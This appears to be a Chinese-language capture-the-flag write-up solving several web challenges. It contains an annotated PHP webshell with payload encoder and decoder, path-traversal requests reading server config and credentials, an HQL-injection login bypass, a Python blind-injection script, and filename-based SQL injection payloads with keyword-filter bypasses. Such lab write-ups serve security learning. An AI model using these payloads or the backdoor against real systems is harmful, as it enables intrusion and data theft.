$sl="strtolower"; $i=$m[1][0].$m[1][1]; // 两组首字母 $h=$sl($ss(md5($i.$kh),0,3)); // md5($i . $kh) 的前三个字符小写。攻击时附在 $p 开头 $f=$sl($ss(md5($i.$kf),0,3)); // $p 是编码后 Payload,攻击时附加到 $p 后面 // 拼接 Payload $p=""; for($z=1;$z<count($m[1]);$z++) // 从 $q 中取出 $m 正则匹配到的第 2 组中索引 1 -- count($m[1])-1 的值 (0-9) 作为键的值连接,得到 $p $p.=$q[$m[2][$z]]; // 上例(language), $p .= $q[8] // 去除 $p Payload 开头的 $h if(strpos($p,$h)===0){ // $h 在 $p[0] 位置出现。 $s[$i]=""; // $_SESSION[$i] = '', $i 是正则匹配到的两组首字母 $p=$ss($p,3); // $p 从第 3 个字符开始的子串,去掉 $h } if(array_key_exists($i,$s)){ // exist $s[$i], $_SESSION[$i] , if 条件必须有 上文 $h 在 $p[0] 位置出现 $s[$i].=$p; $e=strpos($s[$i],$f); // $f 是 md5 前三个字符小写,在 $s[$i] if($e){ // 必须有 $f 作为“停止字符串” $k=$kh.$kf; // 4f7f28d7 ob_start(); /* 去除末尾的 $f URL safe base64 还原为普通 base64 base64 解码 循环异或解密 zlib 解码,还原出 PHP 代码 执行 PHP 代码 */ //@eval(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k))); echo "CMD WILL EXEC:\n<br />"; echo(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k))); $o=ob_get_contents(); // output ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); // 编码 print $o; //print("<$k>$d</$k>"); @session_destroy(); } } } }
其中的正则表达式匹配示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ra = 'zh-CN,zh;q=0.8,en;q=0.6'; $m = array (size=3) 0 => array (size=3) 0 => string 'zh-CN,' (length=6) 1 => string 'zh;q=0.8,' (length=9) 2 => string 'en;q=0.6' (length=8) 1 => array (size=3) 0 => string 'z' (length=1) 1 => string 'z' (length=1) 2 => string 'e' (length=1) 2 => array (size=3) 0 => string '' (length=0) 1 => string '8' (length=1) 2 => string '6' (length=1)
由此,理清这复杂的逻辑后可以写出以下 PHP 版 Payload 生成代码(针对 zh-CN,zh;q=0.8,en;q=0.6
这一种 Accept-Language
):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php $kh="4f7f"; $kf="28d7"; $referer = 'http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=payloadhere'; $lang = 'zh-CN,zh;q=0.8,en;q=0.6'; $m = array ( 0 => array ( 0 => 'zh-CN,', 1 => 'zh;q=0.8,', 2 => 'en;q=0.6', ), 1 => array ( 0 => 'z', 1 => 'z', 2 => 'e', ), 2 => array ( 0 => '', 1 => '8', 2 => '6', ), ); $i = 'zz'; // $m[1][0] . $m[1][1] $h=strtolower(substr(md5($i.$kh),0,3)); // 675 $f=strtolower(substr(md5($i.$kf),0,3)); // a3e function x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t. $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $key = '4f7f28d7'; //$payload='phpinfo();'; $payload = $_GET['cmd']; $payload = gzcompress($payload); $payload = x($payload,$key); $payload = base64_encode($payload); $payload = preg_replace(array("/\//","/\+/"),array("_","-"), $payload); $payload = $h . $payload . $f; echo $payload; echo "\n<br />\n"; $referer = "http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=$payload"; echo $referer; echo "\n<br />\n";
对于 eval()
后的输出,有以下代码解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $kh="4f7f"; $kf="28d7"; // 循环异或,相同密钥 $k 既能加密也能解密 function x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t. $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $k=$kh.$kf; // 4f7f28d7 $output = 'TPocr/oUMjeWhOOCkOx2soCqqzIyf1IwLw=='; $o = base64_decode($output); $o = x($o,$k); echo gzuncompress($o);
伪造refer和language
1 2 3 4 5 6 7 8 9 10 11 12 GET /hack.php HTTP/1.1 Host: 61.147.171.105:55119 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Accept-Encoding: gzip, deflate Connection: close Referer:http://220.249.52.133:50066/hack.php?0=1&1=1&2=1&3=1&4=1&5=1&6=1&7=e8b&8=TK5NmUkXKK7hYqkeM-7VZTQQjDM6&9=1ea Cookie: isLogin=1;PHPSESSID=gh3p08dp7m4kav9mm1j53hvkh5;look-here=cookie.php Upgrade-Insecure-Requests: 1
记得改语言和referer
HTTP_ACCEPT_LANGUAGE是这样:
1 zh-CN,zh;q=0.9 ,en-US;q=0.8 ,en;q=0.7
最后构造的Referer如下:
1 Referer:http://220.249.52.133:50066/hack.php?0=1&1=1&2=1&3=1&4=1&5=1&6=1&7=e8b&8=TK5NmUkXKK7hYqkeM-7VZTQQjDM6&9=1ea
拿到信息取用脚本解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php function x($t, $k) //$t=abc,$k=42f7e9ac $o=a^4.b^2.c^f a^key^key=a { $c = strlen($k); // 8 $l = strlen($t); $o = ""; for ($i = 0; $i < $l;) { for ($j = 0; ($j < $c && $i < $l); $j++, $i++) { $o .= $t{$i} ^ $k{$j}; } } return $o; } $kh = "42f7"; $kf = "e9ac"; $k=$kh.$kf; $data='TK4z/1Q3oUM8MqaqogGUIGwfdiYpXJGaeercamvideBzZ5d1RxPqdATshbA3SGHocZwqk9t4zZankyhVzO7KpBpDZAnIdEFr'; $data=base64_decode($data); $data=x($data,$k); $data=@gzuncompress($data); echo $data;
Zhuanxv
题目描述:
你只是在扫描目标端口的时候发现了一个开放的web服务
根据题目描述尝试扫扫目录
访问/list有反应,跳转到登录页面了
页面发现类似于文件包含的可疑点
看看框架,Java写的
fuzz一下
1 wfuzz -w /usr/share/wfuzz/wordlist/Injections/test.txt -u "http://61.147.171.105:63284/loadimage?fileName=FUZZ"
发现了WEB-INF/web.xml
,这是javaweb特有的配置读取
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?xml version="1.0" encoding="UTF-8"?> <web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"> <display-name>Struts Blank</display-name> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>/ctfpage/index.jsp</welcome-file> </welcome-file-list> <error-page> <error-code>404</error-code> <location>/ctfpage/404.html</location> </error-page> </web-app>
发现struts2字样
该项目使用的struts2框架,struts.xml是struts2的核心配置文件,该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等,因此我们需要读取struts.xml看看,构造payload:
1 /loadimage?fileName=../../WEB-INF/classes/struts.xml
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd"> <struts> <constant name="strutsenableDynamicMethodInvocation" value="false"/> <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" /> <constant name="struts.action.extension" value=","/> <package name="front" namespace="/" extends="struts-default"> <global-exception-mappings> <exception-mapping exception="java.lang.Exception" result="error"/> </global-exception-mappings> <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute"> <result name="error">/ctfpage/login.jsp</result> <result name="success">/ctfpage/welcome.jsp</result> </action> <action name="loadimage" class="com.cuitctf.action.DownloadAction"> <result name="success" type="stream"> <param name="contentType">image/jpeg</param> <param name="contentDisposition">attachment;filename="bg.jpg"</param> <param name="inputName">downloadFile</param> </result> <result name="suffix_error">/ctfpage/welcome.jsp</result> </action> </package> <package name="back" namespace="/" extends="struts-default"> <interceptors> <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/> <interceptor-stack name="userAuth"> <interceptor-ref name="defaultStack" /> <interceptor-ref name="oa" /> </interceptor-stack> </interceptors> <action name="list" class="com.cuitctf.action.AdminAction" method="execute"> <interceptor-ref name="userAuth"> <param name="excludeMethods"> execute </param> </interceptor-ref> <result name="login_error">/ctfpage/login.jsp</result> <result name="list_error">/ctfpage/welcome.jsp</result> <result name="success">/ctfpage/welcome.jsp</result> </action> </package> </struts>
里面有好多class文件
1 2 3 4 5 loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class
UserLoginAction.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.cuitctf.action; import com.cuitctf.po.User; import com.cuitctf.service.UserService; import com.cuitctf.util.InitApplicationContext; import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.ActionSupport; import java.util.List; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.springframework.context.ApplicationContext; public class UserLoginAction extends ActionSupport { private UserService userService; private User user; public UserLoginAction() { ApplicationContext context = InitApplicationContext.getApplicationContext(); this.userService = (UserService)context.getBean("userService"); } public String execute() throws Exception { System.out.println("start:" + this.user.getName()); ActionContext actionContext = ActionContext.getContext(); Map<String, Object> request = (Map)actionContext.get("request"); try { if (!this.userCheck(this.user)) { request.put("error", "登录失败,请检查用户名和密码"); System.out.println("登陆失败"); return "error"; } } catch (Exception var4) { var4.printStackTrace(); throw var4; } System.out.println("login SUCCESS"); ActionContext.getContext().getSession().put("user", this.user); return "success"; } public boolean isValid(String username) { String valiidateString = "[a-zA-Z0-9]{1-16}"; return matcher(valiidateString, username); } private static boolean matcher(String reg, String string) { boolean tem = false; Pattern pattern = Pattern.compile(reg); Matcher matcher = pattern.matcher(string); tem = matcher.matches(); return tem; } public boolean userCheck(User user) { List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword()); if (userList != null && userList.size() == 1) { return true; } else { this.addActionError("Username or password is Wrong, please check!"); return false; } } public UserService getUserService() { return this.userService; } public void setUserService(UserService userService) { this.userService = userService; } public User getUser() { return this.user; } public void setUser(User user) { this.user = user; } }
1 2 3 4 loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class
InitApplicationContext.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.cuitctf.util;import org.springframework.context.ApplicationContext;import org.springframework.context.support.ClassPathXmlApplicationContext;public class InitApplicationContext { private static ApplicationContext context = null ; private InitApplicationContext () { } public static ApplicationContext getApplicationContext () { if (context == null ) { context = new ClassPathXmlApplicationContext ("applicationContext.xml" ); } return context; } }
UserService.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.cuitctf.service;import com.cuitctf.po.User;import java.util.List;public interface UserService { List<User> findUserByName (String var1) ; List<User> loginCheck (String var1, String var2) ; }
User.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.cuitctf .po ; public class User { private int id; private String name; private String password; public User () { } public int getId ( ) { return this .id ; } public void setId (int id ) { this .id = id; } public String getName ( ) { return this .name ; } public void setName (String name ) { this .name = name; } public String getPassword ( ) { return this .password ; } public void setPassword (String password ) { this .password = password; } }
我们可以看到,加载应用的xml配置文件为applicationContext.xml,该文件一般是项目的启动配置文件,包括数据库等,同样构造payload,如下:
1 /loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="dataSource" class ="org.springframework.jdbc.datasource.DriverManagerDataSource" > <property name ="driverClassName" > <value > com.mysql.jdbc.Driver</value > </property > <property name ="url" > <value > jdbc:mysql://localhost:3306/sctf</value > </property > <property name ="username" value ="root" /> <property name ="password" value ="root" /> </bean > <bean id ="sessionFactory" class ="org.springframework.orm.hibernate3.LocalSessionFactoryBean" > <property name ="dataSource" > <ref bean ="dataSource" /> </property > <property name ="mappingLocations" > <value > user.hbm.xml</value > </property > <property name ="hibernateProperties" > <props > <prop key ="hibernate.dialect" > org.hibernate.dialect.MySQLDialect</prop > <prop key ="hibernate.show_sql" > true</prop > </props > </property > </bean > <bean id ="hibernateTemplate" class ="org.springframework.orm.hibernate3.HibernateTemplate" > <property name ="sessionFactory" > <ref bean ="sessionFactory" /> </property > </bean > <bean id ="transactionManager" class ="org.springframework.orm.hibernate3.HibernateTransactionManager" > <property name ="sessionFactory" > <ref bean ="sessionFactory" /> </property > </bean > <bean id ="service" class ="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract ="true" > <property name ="transactionManager" > <ref bean ="transactionManager" /> </property > <property name ="transactionAttributes" > <props > <prop key ="add" > PROPAGATION_REQUIRED</prop > <prop key ="find*" > PROPAGATION_REQUIRED,readOnly</prop > </props > </property > </bean > <bean id ="userDAO" class ="com.cuitctf.dao.impl.UserDaoImpl" > <property name ="hibernateTemplate" > <ref bean ="hibernateTemplate" /> </property > </bean > <bean id ="userService" class ="com.cuitctf.service.impl.UserServiceImpl" > <property name ="userDao" > <ref bean ="userDAO" /> </property > </bean > </beans >
可以看到使用了数据,还包含数据库账号密码
尝试读取一下
1 2 3 4 /loadimage?fileName=../../WEB-INF/classes/user.hbm.xml loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
看到里面暴露了反拉规所在的数据库表和
UserServiceImpl.class对输入做了点过滤
UserDaoImpl.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.cuitctf.dao.impl; import com.cuitctf.dao.UserDao; import com.cuitctf.po.User; import java.util.List; import org.springframework.orm.hibernate3.support.HibernateDaoSupport; public class UserDaoImpl extends HibernateDaoSupport implements UserDao { public UserDaoImpl() { } public List<User> findUserByName(String name) { return this.getHibernateTemplate().find("from User where name ='" + name + "'"); } public List<User> loginCheck(String name, String password) { return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'"); } }
这是个查询的类
可以尝试构造万能密码
1 2 3 4 5 from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'
UserServiceImpl.class反编译后代码中是对空格进行了过滤,而sql中对回车自动过滤, 因此我们可以将空格字符换成%0A(ascii码表示换行符)。于是使用hackbar进行翻译,得到新的注入sql的payload:
1 2 zhuanxvlogin?user.name=admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin&user.password=a
登陆成功
点了一圈没什么卵用
前面发现flag在数据库里,注入喽
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests s=requests.session() # url="http://61.147.171.105:63284" flag="" for i in range(1,50): p='' for j in range(1,255): # payload="select ascii(substr(id, "+str(i)+", 1)) from Flag where id? < 2) < '" payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'" url = "http://61.147.171.105:63284/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=1" # print(url) r1=s.get(url) if len(r1.text)>20000 and p!="": flag+=p print(i,flag) break p=chr(j)
upload 看着这个题这么多人解出,难度应该还可以,文件名注入,我还真是第一次见
首先注册登录上就会出现一个文件上传的页面
dirseach扫目录发现文件包含的目录
模糊测试一下他的文件名
发现被制为了空,我们猜一猜是双写绕过
1.把文件名改成 a’ +(selselectect conv(substr(hex(database()),1,12),16,10))+ ‘.jpg ① 这里使用substr的原因是当数字过长的时候会变成科学计数法,所以需要分批次来获取内容 ②使用CONV是因为题目过滤了回显有字母的情况,如果出现了字母则后面的内容就不显示,所以需要将16进制的内容转成10进制 或者我们可以使用两次hex绕过也可以
发现这里返回了我们得值
分批次解密是web_upload
然后是查询表名:
1 s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg ->hello
1 s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg-------------->结果为 flag_i
1 s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg-------------->结果为 s_here
.然后是列名:(i_am_flag)
①s ‘+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 0,1)),1,12),16,10))+’.jpg————->结果为 i_am_f
②s ‘+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 0,1)),13,12),16,10))+’.jpg———–>结果为 lag
4.字段内容:(!!_@m_Th.e_F !lag)
①s ‘+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+’.jpg ——->结果为: !!@m
②s ‘+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+’.jpg ——->结果为: Th.e_F
③s ‘+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+’.jpg ——->结果为: !lag